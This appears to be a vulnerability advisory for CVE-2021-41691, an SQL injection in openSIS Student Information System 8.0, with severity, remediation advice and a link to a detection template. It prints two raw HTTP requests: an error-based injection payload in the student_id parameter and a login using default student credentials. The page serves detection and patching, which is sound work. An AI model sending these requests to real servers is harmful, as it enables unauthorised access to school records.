| Title | openSIS Student Information System 8.0 SQL Injection |
|---|---|
| Author | Bartu Utku SARP |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691). |
| EPSS Score | 0.02472 |
| CVE ID | CVE-2021-41691 |
| Tags | cve cve2021 sqli auth edb opensis vkev vuln |
openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.
POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
Accept-Encoding: gzip
Connection: close
student_id=updatexml(0x23,concat(1,md5(5123)),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
Accept-Encoding: gzip
Connection: close
USERNAME=student&PASSWORD=student@123&language=en&log=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41691.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41691.pcap
N/AN/A